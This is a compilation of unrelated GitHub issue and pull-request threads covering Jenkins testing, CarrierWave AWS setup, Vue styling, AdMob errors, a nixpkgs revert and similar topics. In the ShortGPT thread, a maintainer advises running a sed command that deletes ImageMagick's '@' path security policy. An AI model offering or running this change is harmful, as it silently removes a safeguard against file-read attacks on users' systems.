Allow sharing of to-do lists and simultaneous editing

While the current implementation of to-do lists as user flags is exceedingly simple, it makes it harder to add certain features such as allowing for multiple owner or simultaneous editing.
Using the Entity system should allow us to do exactly that and will let players share their tasks with other individual players or the whole group.
A rework such as this probably would be incompatible with the current design and would warrant a major version jump.

I figured it would be good to know that I too am interested "shared To Do List" that all players and GMs could participate in.


JenkinsPipelineSpecification messes with JenkinsRule harness tests

Desired Behavior
If a JenkinsPipelineSpecification test runs before a test with the JenkinsRule that latter test will fail with an unspecific NullPointerException about an User:
java.lang.NullPointerException
    at hudson.model.User.clear(User.java:737)
    at org.jvnet.hudson.test.JenkinsRule.before(JenkinsRule.java:390)
    at org.jvnet.hudson.test.JenkinsRule$1.evaluate(JenkinsRule.java:595)
    at org.junit.internal.runners.statements.FailOnTimeout$CallableStatement.call(FailOnTimeout.java:288)
    at org.junit.internal.runners.statements.FailOnTimeout$CallableStatement.call(FailOnTimeout.java:282)
    at java.util.concurrent.FutureTask.run(FutureTask.java:266)
    at java.lang.Thread.run(Thread.java:748)

To workaround this issue it is necessary to restore the Jenkins.HOLDER that the JenkinsPipelineSpecification has overwritten.
Benefits
With this change it would be possible to run both JenkinsPipelineSpecification and JenkinsRule tests.

I don't see this as a bug because the use cases for this are pretty small.
The solution would be to put this:
    // Restore the Jenkins.HOLDER
    // It was overwritten in: JenkinsPipelineSpecification#setup()
    Jenkins.HOLDER = new Jenkins.JenkinsHolder() {
        Jenkins getInstance() { Jenkins.theInstance }
    }

in the cleanup() of the JenkinsPipelineSpecification.

In case someone stumbles upon this issue as well I've workarounded this issue by adding a second ClassRule before the JenkinsRule that restores the Jenkins.HOLDER like that:
@Shared
@ClassRule
CleanJenkinsHolderRule cleanJenkinsHolderRule = new CleanJenkinsHolderRule()

@Shared
@ClassRule
JenkinsRule jenkinsRule = new JenkinsRule()

static class CleanJenkinsHolderRule implements TestRule {
    Statement apply(Statement base, Description description) {
        // Restore the Jenkins.HOLDER
        // It was overwritten in: JenkinsPipelineSpecification#setup()
        Jenkins.HOLDER = new Jenkins.JenkinsHolder() {
            Jenkins getInstance() { Jenkins.theInstance }
        }

        return { base.evaluate() } as Statement
    }
}

Of course you could add a cleanup() to every JenkinsPipelineSpecification and restore the Jenkins.HOLDER there.

I like the rule-based solution, given that the problem is introduced by using a JenkinsRule in the first place.
I'll file this as FAQ, and hope to eventually include it in wiki-based documentation when we move out of "just Groovydoc."


undefined method `aws_bucket=' for CarrierWave::Uploader::Base:Class

Hey,
I integrated the carrierwave-aws to our rails app and I its working on local, but I am getting weird errors when trying to deploy to AWS using EB CLI.
After trying to run rake db:migrate, rake is aborted with the following error:
NoMethodError: undefined method 'aws_bucket=' for CarrierWave::Uploader::Base:Class
This is how my carrierwave.rb file looks like:
CarrierWave.configure do |config|
config.storage    = 'aws'
config.aws_bucket = ENV.fetch('S3_BUCKET_NAME')
config.aws_acl    = 'private'
The maximum period for authenticated_urls is only 7 days.
config.aws_authenticated_url_expiration = 60 * 60 * 24 * 7
Set custom options such as cache control to leverage browser caching
 config.aws_attributes = {
    expires: 1.week.from_now.httpdate,
     cache_control: 'max-age=315576000'
 }
  config.aws_credentials = {
    access_key_id:     ENV['AWS_ACCESS_KEY_ID'],
    secret_access_key: ENV['AWS_SECRET_ACCESS_KEY'],
   region:            ENV['AWS_REGION'] # Required
  }
end
Inside my gemfile I have tried to do it with both:
  gem 'carrierwave'
  gem 'carrierwave-aws', '~> 1.0.0'
as well as only with the  gem 'carrierwave-aws', '~> 1.0.0' and error persists.
Any ideas on what might be causing this. I thought it might be some dependency issue but couldn't find anything.

It looks like the carrierwave config initializer is getting called before carrierwave-aws is loaded. The config attributes like aws_bucket are only available after carrierwave-aws has loaded. You can try requiring carrierwave-aws explicitly before the config block is run.

That solved the issue. Thanks for the help.
Uploader doesn't work tho. We switched to this gem to avoid an issue, but the issue still persists :
Aws::S3::Errors::SignatureDoesNotMatch: The request signature we calculated does not match the signature you provided

It sounds like that is definitely a problem with your application or aws configuration itself. The uploader definitely works, and for many people.

Problem is solved. Gem works great!. Thanks for the help.


Development track

Dev track.

Current coverage is 83.22% (diff: 55.55%)

Merging #4 into master will decrease coverage by 4.56%

@@             master         #4   diff @@
==========================================
  Files            14         14
  Lines           131        149    +18
  Methods           0          0
  Messages          0          0
  Branches          0          0
==========================================
+ Hits            115        124     +9
- Misses           16         25     +9
  Partials          0          0

Diff Coverage
File Path

0%
.../java/org/ominidi/api/controller/FeedController.java

•••        33%
.../ominidi/facebook/exception/ConnectionException.java

•••        33%
...va/org/ominidi/facebook/service/PageFeedService.java

•••••••••• 100%
...n/java/org/ominidi/web/configuration/ViewConfig.java

•••••••••• 100%
...n/java/org/ominidi/facebook/repository/PageFeed.java

Powered by Codecov. Last update 52936c1...52896e6


Clean up Union/Optional stuff related to display recipients

The goal here is to eliminate the Union type on get_display_recipient, since we hardly ever use it to get streams now, and the few places where we do are fixable.
Hopefully the first few several commits here are no-brainers, but we might want to discuss the last couple.

This looks great, merged, thanks @showell!
I think long term I want to mostly get rid of display recipient for DMs too in favor of just sending user IDs and having clients be responsible for fetching any users they don't already have. Actually maybe even in the short term -- I don't think it's actually a big step from where we are at least for the web app -- just need a little "check if we all have the users and then do an API call with callback" thing in the get_messages_success code path, and a client capability ....

Yup, no shortage of possibilities here!  Thanks for merging!  Hopefully this gets us closer.


AWS SQS 5.3.0

See also https://github.com/mulesoft/docs-release-notes/pull/476

Looks good. I will approve and merge when it's released.

Released per Mauro and #aws-sqs-5_3_0 Slack channel. Merging now.


Component: breadcrumbs (informs DS)

Breadcrumbs component
Breadcrumbs are used on internal pages to display how the current page fits into the navigation structure
Examples
Here is a breadcrumbs frontend component from another design system that pays attention to accessibility and clean markup: https://democracyclub.github.io/design-system/components/breadcrumbs/
Design

Development
This ticket will result in a PR to the design-system repository containing a web component that attempts to lookup its own url via the designated site nav API and populate the breadcrumbs
A separate ticket will be opened to track the integration of this into WordPress Gutenberg patterns and custom blocks

For cannabis site Phase 1 - added PHP code.
As communicated to Aaron this morning: the plan is to update our CA Design System WP plugin to use the web component version instead (which will use on the WP Menu API) - we will swap the web component markup into our breadcrumb building function in the plugin.


show previous events based on time

Pull Request: Include Events from Earlier Today in Past Events View
Summary
This pull request addresses an issue in the event filtering logic within the past view function of our events module. Previously, the function only included events that occurred before the current date (day, month, year), excluding events that happened earlier on the same day.
Changes

Modified the event_start filter in the past view function.

Changed from event_start__lt=timezone.now().date() to event_start__lt=timezone.now().
This alteration ensures the inclusion of events that occurred earlier on the same day at the time of the request.

Rationale
The original filtering logic in the past view function did not account for events that occurred earlier on the same day. This was a limitation, as users might need to access recent events from the same day. By including the time in our comparison, we can now present a complete list of past events up to the current moment, enhancing user experience and data accuracy.
Impact

This change will allow users to see events that happened earlier at the same day, which was not possible before
There are no expected negative impacts on performance or existing functionalities.

Please review the changes and provide any feedback or approval as necessary. Thank you!

copilot:poem


Add radio button to toggle between JupyterLab and Notebook in the demo

Improve the demo to add an option to use Jupyter Notebook instead:
iframe-commands-notebook.webm

Trying the lite artifact locally also now seems to be working fine:


[Feature] How to Implements Load Balance

Hi, the feature support load balance .
I have read the code , but still have no idea how to deploy load balance .
can anyone give me some tips ?

If I want to deploy in kubernetes , How should I do ?
I think it might be very hard, the k8s don't support port range now

Hey,
you're right that load balancing is not trivial for Strive for two reasons: the media transmission is stateful and there are special requirement for WebRTC (public ip address must be known and the port range).
Here you can find a discussion about deploying BigBlueButton to Kubernetes: https://groups.google.com/g/bigbluebutton-dev/c/726_8n8bKxI they sadly come to the conclusion that the port ranges issue cannot be solved :/
You can find some discussions about mediasoup deployment to kubernetes here: https://groups.google.com/g/mediasoup/c/c6R3ZMqKBmM I think one of them is using Docker Swarm which does support port ranges, idk.
At least Kubernetes is actively working on this issue: https://github.com/kubernetes/enhancements/pull/2611
While deploying the SFU using Kubernetes may seem hard, manual deployment would actually work but I don't know if that's an option for you. Sorry :/

thanks, i got it


What's the error when I used the model.prototxt?

I0726 09:27:07.791891  1097 net.cpp:98] Creating Layer data
F0726 09:27:07.791920  1097 net.cpp:394] Duplicate blobs produced by multiple sources.

@innerlee
Any problem related to the conversion in Parrots2Caffe?

@yjxiong  hi, yuanjun, do you know how to evaluate this model?
I mean, readme.md missed some image preprocessing steps (mean/std values, scaled image size, etc).

These models use standard Caffe-style preprocessing. That is 299 crops, 0-255 BGR images, and standard ImageNet mean values. You can consult here for the preprocessing steps
https://github.com/yjxiong/caffe/blob/action_recog/models/bvlc_googlenet/train_val.prototxt#L13
The only difference is that crop size should be 299.

from model.prototxt, crop size should be 331.
so should i resize the input image to 378xN size?

Hi shicai, for single crop evaluation:

resize to 378*378
crop to center 331*331
offset (104, 117, 123)

got it, thank you very much. @yjxiong @innerlee

@innerlee
I suggest adding these to the README page.


Default binding inline style with number in object to px

When we want to bind inline style with object, we might use object in data like this way.
data() {
  return {
    style: {
      width: '400px',
    },
  };
}

I think it might be useful for users to just write number and it will suffix with px automatically.
data() {
  return {
    style: {
      width: 400,
    },
  };
}

Is it possible to default unit with px when using numbers?

Hi, thanks for filling this issue. There are many other css properties like line-height that works with numerical values, i.e. line-height: 40. So appending px by default will break these usages.

@fnlctrl Thanks for your reply first.
It's awesome to have some css properties to work with numerical values; however, some properties which also should have this feature cannot work with it. Will it be good to work with numerical values for those css properties which would have units?

@CYBAI
I think it's possible to implement with computed properties.
Also, In Vue.js 2.1 later, we can use the filter of v-bind.
e.g.
const prefix = val => {
  return val + 'px'
}
new Vue({
  computed: {
    prefixedStyle () {
      return prefix(this.style)
    }
  },
  data () {
    return {
      style: {
        width: 400,
      }
    }
  },
  filters: { prefix }
}

<!-- computed property -->
<img :width="prefixedStyle">

<!-- v-bind filter-->
<img :width="style | prefix ">

@kazupon
Looks good to me though I hope vue will support suffix px automatically 😄
Besides, using filters or computed properties might be more flexible for users.
Thanks for your reply and great example.

i agree with @CYBAI . it's flexible when calculating the style


[Components] Progress

Waiting for Design specs, we want to open the discussions about possible API for the Progress component (here) then after agreement start development in parallel with design team.

Preview: https://sparkui.vercel.app/?path=/docs/experimental-progress--docs
Specs: https://www.figma.com/file/0QchRdipAVuvVoDfTjLrgQ/Spark-Specs-and-Handoff?type=design&node-id=7229-1207&mode=design&t=PxwE4VjVC6bfL6MB-0


A naive solution to fix parse new bangumi video

I have explained the detailed reason in issue#65
I'm not familiar with python. So you can rewrite this part :)

I merged it. Thank you.
Not tested yet. Hope it works.

刚好http://bangumi.bilibili.com/anime/v/92573遇到这个问题。。

@haogefeifei  刚才试了下可以parse ..  正在学python中 ╮(╯▽╰)╭


Feature/unified batches api

Title:

Brief Description of Changes

Description: (optional)

Detailed change 1
Detailed change 2

Motivation: (optional)

Why this change is necessary or beneficial

Related Issues: (optional)

#issue-number

closing because I'm pushing changes to feature/unified-batches-api


Cannot inspect private members in other libraries

At a breakpoint in a library method of a type which is subclassed in a separate library, I cannot inspect private fields.
Getting the error:
"Unhandled exception:
Class 'TodoApp' has no instance getter '_declaration@0x2cb85f65'.
NoSuchMethodError : method not found: '_declaration@0x2cb85f65'
Receiver: Instance of 'TodoApp'
Arguments: []
0      Object.noSuchMethod (dart:core-patch/object_patch.dart:42)
1      TodoApp.eval.<anonymous closure> (:2:1)
2      Object.noSuchMethod (dart:core-patch/object_patch.dart:42)
3      HtmlElement&Polymer.observeProperties (package:polymer/src/instance.dart:460:34)
4      HtmlElement&Polymer.prepareElement (package:polymer/src/instance.dart:149:22)
5      HtmlElement&Polymer.initialize (package:polymer/src/instance.dart:141:21)
6      PolymerElement.PolymerElement.created (package:polymer/src/instance.dart:931:15)
7      TodoApp.TodoApp.created (http://blois.sea.corp.google.com:9898/dart/samples/third_party/todomvc/web/app.dart:18:23)
8      Node.dispatchEvent (file:///mnt/data/b/build/slave/dartium-lucid64-inc-be/build/src/out/Release/gen/blink/bindings/dart/dart/html/Node.dart:469)
9      initPolymer.<anonymous closure> (package:polymer/src/loader.dart:48:32)
10     runMicrotask.<anonymous closure> (package:observe/src/microtask.dart:65:16)
11     _rootRun (dart:async/zone.dart:536)
12     _ZoneDelegate.run (dart:async/zone.dart:344)
13     _CustomizedZone.run (dart:async/zone.dart:489)
14     runZonedExperimental (dart:async/zone.dart:732)
15     runMicrotask (package:observe/src/microtask.dart:63:45)
16     initPolymer (package:polymer/src/loader.dart:33:15)
17     main (http://blois.sea.corp.google.com:9898/dart/samples/third_party/todomvc/web/index.html:8:22)
18     TodoApp.eval.<anonymous closure> (:2:1)
19     Object.noSuchMethod (dart:core-patch/object_patch.dart:42)
20     HtmlElement&Polymer.observeProperties (package:polymer/src/instance.dart:460:34)
21     HtmlElement&Polymer.prepareElement (package:polymer/src/instance.dart:149:22)
22     HtmlElement&Polymer.initialize (package:polymer/src/instance.dart:141:21)
23     PolymerElement.PolymerElement.created (package:polymer/src/instance.dart:931:15)
24     TodoApp.TodoApp.created (http://blois.sea.corp.google.com:9898/dart/samples/third_party/todomvc/web/app.dart:18:23)
25     Node.dispatchEvent (file:///mnt/data/b/build/slave/dartium-lucid64-inc-be/build/src/out/Release/gen/blink/bindings/dart/dart/html/Node.dart:469)
26     initPolymer.<anonymous closure> (package:polymer/src/loader.dart:48:32)
27     runMicrotask.<anonymous closure> (package:observe/src/microtask.dart:65:16)
28     _rootRun (dart:async/zone.dart:536)
29     _ZoneDelegate.run (dart:async/zone.dart:344)
30     _CustomizedZone.run (dart:async/zone.dart:489)
31     runZonedExperimental (dart:async/zone.dart:732)
32     runMicrotask (package:observe/src/microtask.dart:63:45)
33     initPolymer (package:polymer/src/loader.dart:33:15)
34     main (http://blois.sea.corp.google.com:9898/dart/samples/third_party/todomvc/web/index.html:8:22)"

Now that the Dart Dev Compiler and the Dart VM are both running with the CFE we should investigate solving this issue.
DDC had a reasonable solution using dloadRepl and replNameLookup helpers to evaluate private members where possible. It would be great to have an option in the CFE to perform resolution of privates in a repl friendly manner permitting privates from all libraries. In the static case the CFE would resolve to the appropriate private and in the dynamic case DDC and the DartVM would need to have a fallback slow path like dloadRepl that throws an exception if an object has more than one private member with the name and otherwise invokes the private even though it is from a different library.
In practice, very few privates are defined in multiple objects on the same library so most of the time invoking privates just works with this solution. In the rare case it doesn't. users get a reasonable error explaining why it was not permitted.

This issue recently came up on dart-misc
https://groups.google.com/a/dartlang.org/forum/#!topic/misc/0-Ga6Xy_WX4

Fyi @alan-knight who now owns eval support for the Dart Dev Compiler.


Trial callouts

Minor updates to install instructions to direct trial customers to use their EE packages.
Kubernetes has additional instructions for uploading images.

 (1) Update Kong EE docs for Free Trial users on CentOS

 (1) Update Kong EE docs for Free Trial users on AWS Linux


[DOCS] Add tags and thumbnails to video guides

Change Logs
Add tags and thumbnails to video guides
Impact
Site changes
Risk level (write none, low medium or high below)
Low
Documentation Update
Describe any necessary documentation update if there is any new feature, config, or user-facing change

The config description must be updated if new configs are added or the default value of the configs are changed
Any new feature or user-facing change requires updating the Hudi website. Please create a Jira ticket, attach the
ticket number here and follow the instruction to make
changes to the website.

Contributor's checklist

[ ] Read through contributor's guide
[ ] Change Logs and Impact were stated clearly
[ ] Adequate tests were added if applicable
[ ] CI passed

Tested Locally!


support node 16.x or high

What problem does this feature solve?
support high version node
What does the proposed API look like?
maybe like angular "node": ">=14.0.0 <17.0.0",

Just to add some clarifying information: Node.js 16 is a LTS release and already supported by Angular 13.


Error when trying to create video

Went though the "automate video with stock assests" workflow with all api keys input and after installing requirements but get this error:
(base) D:\Code\ShortGPT>python runShortGPT.py
Running on local URL:  http://<IP_ADDRESS>:31415
To create a public link, set share=True in launch().
Step 1 _generateTempAudio
'AsyncRequest' object has no attribute '_json_response_data'
Step 2 _speedUpAudio
ffmpeg version 4.2.3 Copyright (c) 2000-2020 the FFmpeg developers
built with gcc 9.3.1 (GCC) 20200523
configuration: --enable-gpl --enable-version3 --enable-sdl2 --enable-fontconfig --enable-gnutls --enable-iconv --enable-libass --enable-libdav1d --enable-libbluray --enable-libfreetype --enable-libmp3lame --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-libopus --enable-libshine --enable-libsnappy --enable-libsoxr --enable-libtheora --enable-libtwolame --enable-libvpx --enable-libwavpack --enable-libwebp --enable-libx264 --enable-libx265 --enable-libxml2 --enable-libzimg --enable-lzma --enable-zlib --enable-gmp --enable-libvidstab --enable-libvorbis --enable-libvo-amrwbenc --enable-libmysofa --enable-libspeex --enable-libxvid --enable-libaom --enable-libmfx --enable-amf --enable-ffnvcodec --enable-cuvid --enable-d3d11va --enable-nvenc --enable-nvdec --enable-dxva2 --enable-avisynth --enable-libopenmpt
libavutil      56. 31.100 / 56. 31.100
libavcodec     58. 54.100 / 58. 54.100
libavformat    58. 29.100 / 58. 29.100
libavdevice    58.  8.100 / 58.  8.100
libavfilter     7. 57.100 /  7. 57.100
libswscale      5.  5.100 /  5.  5.100
libswresample   3.  5.100 /  3.  5.100
libpostproc    55.  5.100 / 55.  5.100
[mp3 @ 00000187d2789480] Estimating duration from bitrate, this may be inaccurate
Input #0, mp3, from '.editing_assets/general_video_assets/4e0ede81afb2456a93961084/temp_audio_path.wav':
Duration: 00:00:40.80, start: 0.000000, bitrate: 64 kb/s
Stream #0:0: Audio: mp3, 44100 Hz, mono, fltp, 64 kb/s
Stream mapping:
Stream #0:0 -> #0:0 (mp3 (mp3float) -> pcm_s16le (native))
Press [q] to stop, [?] for help
Output #0, wav, to '.editing_assets/general_video_assets/4e0ede81afb2456a93961084/audio_voice.wav':
Metadata:
ISFT            : Lavf58.29.100
Stream #0:0: Audio: pcm_s16le ([1][0][0][0] / 0x0001), 44100 Hz, mono, s16, 705 kb/s
Metadata:
encoder         : Lavc58.54.100 pcm_s16le
size=    3515kB time=00:00:40.80 bitrate= 705.6kbits/s speed= 376x
video:0kB audio:3514kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 0.002167%
Step 3 _timeCaptions
100%|█████████████████████████████████████| 72.1M/72.1M [00:07<00:00, 10.7MiB/s]
Error   File "D:\Code\ShortGPT\gui\video_automation_ui.py", line 122, in respond
video_path = makeVideo(script, language.value, isVertical, progress=progress)
File "D:\Code\ShortGPT\gui\video_automation_ui.py", line 42, in makeVideo
for step_num, step_info in shortEngine.makeShort():
File "D:\Code\ShortGPT\shortGPT\engine\abstract_content_engine.py", line 72, in makeShort
self.stepDictcurrentStep
File "D:\Code\ShortGPT\shortGPT\engine\content_video_engine.py", line 69, in _timeCaptions
whisper_analysis = audio_utils.audioToText(self._db_audio_path)
File "D:\Code\ShortGPT\shortGPT\audio\audio_utils.py", line 60, in audioToText
gen = transcribe_timestamped(WHISPER_MODEL, filename,verbose=False, fp16=False)
File "C:\Users\Ed\AppData\Local\mambaforge\lib\site-packages\whisper_timestamped\transcribe.py", line 230, in transcribe_timestamped
alignment_heads=get_alignment_heads(model) if word_alignement_most_top_layers is None else None,
File "C:\Users\Ed\AppData\Local\mambaforge\lib\site-packages\whisper_timestamped\transcribe.py", line 2032, in get_alignment_heads
return _get_alignment_heads(model_name, num_layers, num_heads)
File "C:\Users\Ed\AppData\Local\mambaforge\lib\site-packages\whisper_timestamped\transcribe.py", line 2037, in _get_alignment_heads
mask = torch.from_numpy(array).reshape(num_layers, num_heads)

Tell me if https://github.com/RayVentura/ShortGPT/issues/2 help

Tell me if #2 help

I'm still having the same issue with that fix
ERROR : MoviePy Error: creation of None failed because of the following error: convert-im6.q16: attempt to perform an operation not allowed by the security policy @/tmp/tmp17x1nomq.txt' @ error/property.c/InterpretImageProperties/3706. convert-im6.q16: no images defined PNG32:/tmp/tmpc64bvt1o.png' @ error/convert.c/ConvertImageCommand/3229. . .This error can be due to the fact that ImageMagick is not installed on your computer, or (for Windows users) that you didn't specify the path to the ImageMagick binary in file conf.py, or that the path you specified is incorrect
Traceback Info : File "./ShortGPT/gui/short_automation_ui.py", line 157, in create_short for step_num, step_info in shortEngine.makeShort(): File "./ShortGPT/shortGPT/engine/abstract_content_engine.py", line 72, in makeShort self.stepDictcurrentStep File "./ShortGPT/shortGPT/engine/reddit_short_engine.py", line 59, in _prepareCustomAssets imageEditingEngine.renderImage( File "./ShortGPT/shortGPT/editing_framework/editing_engine.py", line 95, in renderImage engine.generate_image(self.schema, outputPath) File "./ShortGPT/shortGPT/editing_framework/core_editing_engine.py", line 34, in generate_image clip = self.process_text_asset(asset) File "./ShortGPT/shortGPT/editing_framework/core_editing_engine.py", line 193, in process_text_asset clip = TextClip(**clip_info) File "/home/ian/.local/lib/python3.10/site-packages/moviepy/video/VideoClip.py", line 1146, in init raise IOError(error)

I think I solved that error @cian0 . Since you're on  linux, please run this command, it should fix your problem, I just added it to the installation steps for linux on the README.md
!sed -i '/<policy domain="path" rights="none" pattern="@\*"/d' /etc/ImageMagick-6/policy.xml


fix typo in SQLBindCol argument name

Convention is that pointer argument names end in Ptr

@mversic : Thanks for your contribution! The author(s) have been notified to review your proposed change.


Add more info to the 'Sent blocks' main log message

#40  👈
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @vegarsti and the rest of your teammates on  Graphite


Report complex bans using the original text

If your team fails to validate the Gravity + Lovely Kiss Doubles OU ban, the ban is actually reported as "Your team has the combination of gravity + lovelykiss, which is banned by Doubles OU."
I wrote this partly as a code simplification, but I suppose you might be worried by the potential run-time cost, in which case I have some ideas whereby I can implement a compromise approach.

I don't understand what exactly this is supposed to be doing?

OK, I've simplified this right down to the bare minimum.

Wait, I understand this now.

This is slower than the array implementation. You could just have the first element of the array be the original table...

At one point, I was using every, which wouldn't have worked well with that approach, but here you go.


question about aggregate_parameter function at server_base.py

I have a question about aggregate_parameter function at server_base.py
why is this necessary?
self.global_model = copy.deepcopy(self.uploaded_models[0])
You already deepcopy global model to client model.
When I implemented this code removing that line, average train losses decreased after a few epochs but test accuracy remained unchanged.

I saw #43 but I sill have a question.
You already initialized the global model at init() , and client and model architectures are same.
I want to get difference between global model parameters before aggregating parameters and after aggregating parameters.
In my case, the global model parameters should not be changed before aggregate_parameters() , but the code overwrite global model parameters by copy.deepcopy(uploaded_models[0])

Removing the line you mentioned doesn't impact the results for FedAvg. Have you made any other changes or used different algorithms?


refactor: form builder field rendering

Tech improvement/ LTFT form prep
refactor:

Move most of the field-rendering logic out of the FormBuilder comp and add a FormFieldBuilder comp to handle rendering of form fields recursively - which is a cleaner more readable/maintainable way to render simple, dto, and array type form fields.
Refactor and move some more FormBuilder logic (e.g. handleChange-related logic) to a utils file to make code more readable/maintainable.

chore: remove some redundant(?) css. 💣
TIS21-6798

LGTM, assuming the existing tests still provide the necessary coverage

Cheers, Andy. Yes, implementation change but same forms tests/coverage.


Not all assemblies are necessarily Orange Peeled as expected.

AppDomain.CurrentDomain.GetAssemblies() does not return assemblies which haven't been accessed at least once.  So if an assembly hasn't been called to at least once before .AddOrangePeeledServices() then it won't be added to the DI.
https://stackoverflow.com/questions/2384592/is-there-a-way-to-force-all-referenced-assemblies-to-be-loaded-into-the-app-doma

API change solves this in https://github.com/TylerDM/OrangePeel/commit/a93b4203eb6bf6fde3b960d2489051a35b0d5204


Request Error: No ad to show from all configured ad networks for test and real ad unit id

Throws out an error code=9 message=Request Error: No ad to show from all configured ad networks for all types of ads and with all IDs (both real and test). Although everything worked yesterday and nothing changed
Here my code
`NativeAd? _ad;
bool isAdLoaded = false;
@override
void initState() {
super.initState();
_ad = NativeAd(
  adUnitId: AdHelper.nativeAdUnitId,
  factoryId: 'listTile',
  request: AdRequest(),
  listener: NativeAdListener(
    onAdLoaded: (ad) {
      setState(() {
        _ad = ad as NativeAd;
        isAdLoaded = true;
      });
    },
    onAdFailedToLoad: (ad, error) {
      ad.dispose();
      print('Ad load failed (code=${error.code} message=${error.message})');
    },
    onAdOpened: (Ad ad) => print('Ad opened.'),
    onAdClosed: (Ad ad) => print('Ad closed.'),
    onAdImpression: (Ad ad) => print('Ad impression.'),
    onAdClicked: (Ad ad) => print('Ad clicked'),
  ),
);
loadNativeAd();

}
void loadNativeAd() {
_ad?.load();
}
@override
void dispose() {
_ad?.dispose();
super.dispose();

}`
Plugin Version
2.3.0
Steps to Reproduce
Setup the project and run
Expected results: see the ads
Actual results: `Ad load failed (code=9 message=Request Error: No ad to show from all configured ad networks.)
RewardedAd failed to load: LoadAdError(code: 9, domain: com.google.admob, message: Request Error: No ad to show from all configured ad networks., responseInfo: ResponseInfo(responseId: null, mediationAdapterClassName: null, adapterResponses: [], loadedAdapterResponseInfo: AdapterResponseInfo(adapterClassName: , latencyMillis: 0, description: , adUnitMapping: {}, adError: null, adSourceName: , adSourceId: , adSourceInstanceName: , adSourceInstanceId: )), responseExtras: {})
`

Logs
[✓] Flutter (Channel stable, 3.3.8, on macOS 13.0.1 22A400 darwin-x64, locale en-UA)
    • Flutter version 3.3.8 on channel stable at /usr/local/Caskroom/flutter/3.3.0/flutter
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision 52b3dc25f6 (9 weeks ago), 2022-11-09 12:09:26 +0800
    • Engine revision 857bd6b74c
    • Dart version 2.18.4
    • DevTools version 2.15.0

[✓] Android toolchain - develop for Android devices (Android SDK version 33.0.0)
    • Android SDK at /Users/centr/Library/Android/sdk
    • Platform android-33, build-tools 33.0.0
    • Java binary at: /Applications/Android Studio.app/Contents/jre/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 11.0.12+0-b1504.28-7817840)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS (Xcode 14.1)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Build 14B47b
    • CocoaPods version 1.11.3

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] Android Studio (version 2021.2)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build 11.0.12+0-b1504.28-7817840)

[✓] VS Code (version 1.74.2)
    • VS Code at /Applications/Visual Studio Code-2.app/Contents
    • Flutter extension version 3.56.0

[✓] Connected device (4 available)
    • iPhone SE (3rd generation) (mobile) • 9B65634D-22BE-4D9A-8369-C5CAF88D2C00 • ios            • com.apple.CoreSimulator.SimRuntime.iOS-16-1 (simulator)
    • iPhone 14 Pro (mobile)              • 7B9785BA-61A2-4C2B-89BC-CBC04774DD7A • ios            • com.apple.CoreSimulator.SimRuntime.iOS-16-1 (simulator)
    • macOS (desktop)                     • macos                                • darwin-x64     • macOS 13.0.1 22A400 darwin-x64
    • Chrome (web)                        • chrome                               • web-javascript • Google Chrome 108.0.5359.124

[✓] HTTP Host Availability
    • All required HTTP hosts are available

• No issues found!

Hi @OlehMysak
Can you try running the google_mobile_ads example that contains NativeAd sample at reusable_inline_example.dart can check if the issue still persists or not?
Thanks!

@huycozy there is an update, when I use vpn and choose Poland or another European country, everything is ok, only rewarded ad does not load, and others are displayed, and when I am without vpn from a Ukrainian ip, then this error continues, although as I said, everything was fine yesterday and without vpn

@OlehMysak Does the issue happen on Android or iOS device?
If it's Android, please try running googleads-mobile-android-examples and check if you get the same error.
If it's iOS please try with googleads-mobile-ios-examples

@huycozy yes, it happen on both devices.

@OlehMysak I guess this is network or ads network issue. So please try running two samples at https://github.com/googleads/googleads-mobile-flutter/issues/743#issuecomment-1384821844 and check if you have the same error.


how i do my own adaptations for my machine?

Would you be able to provide additional information about what you are looking to accomplish?


Close /dev/crypto file descriptor after CRIOGET ioctl().

Checklist

This fixes a bug I introduced in b39c215decf6e68c28cb64dcfaf5ae5a7e8d35b4.

This fixes a bug I introduced in b39c215decf6e68c28cb64dcfaf5ae5a7e8d35b4.

This pull request is ready to merge

This pull request is ready to merge

Pushed to master, so closing.
Thanks!

Pushed to master, so closing.
Thanks!


Revert "cimg: 3.2.0 -> 3.2.1"

Reverts NixOS/nixpkgs#217015
There are some hard-to-understand bugs happening, as reported and verified in https://github.com/NixOS/nixpkgs/issues/217082

I think I'd prefer it if everything were upgraded. These upgrades have been out for a while, but maintainers haven't been keeping up. #217086 fixes the gmic issues--as well as makes darktable + photoprism compile. I would prefer to see it merged and then open separate patches to fix the Qt and GIMP issues.

It seems CImg now takes an extra argument is all. Someone with a small bit of C++ experience would probably know how to resolve the last steps.

I believe it is better to leave the master branch in a consistent, buildable state. After that, it will be better to investigate each of these build failures from the chain of upgrades.

@ofborg build gmic-qt darktable

I believe it is better to leave the master branch in a consistent, buildable state. After that, we can do all the experimentation we need.

Someone from Matrix noted that anytime CImg is updated, gmic & gmic-qt should be upgraded in lock-step or there will almost certainly be issues.

From what ofborg reported, gmic-qt is still broken.
Just for annotation:
Previous misses: gimp-with-plugins gimpPlugins.gmic gmic-qt
Previous hits: darktable gmic photoprism

@ofborg build gimp-with-plugins gimpPlugins.gmic gmic-qt

@ofborg build gmic darktable photoprism

Can you mention why in the commit message, right under the "This reverts ..." (or anywhere, just keep that line)? Reverts are especially confusing without context. Thanks!

I am not understanding. I have linked the issue 217082, this is all the context needed to know.
Or you are talking about the internal commit message?

Or you are talking about the internal commit message?

This, yeah. Ideally it would include a link to the issue as well as a quick overview of what was going on, so not all is lost if GitHub implodes, but even just the link is better than nothing I guess.

@lilyinstarlight Per your discussion in Matrix, can you just confirm that reverting is the best way to go here? Or should we try to upgrade everything? Definitely seems reverting is the best thing to do right now because of the failures, but just wanna make sure.

I just used github automatic revert. Should I close this and reopen more manually?

@lilyinstarlight Per your discussion in Matrix, can you just confirm that reverting is the best way to go here? Or should we try to upgrade everything? Definitely seems reverting is the best thing to do right now because of the failures, but just wanna make sure.

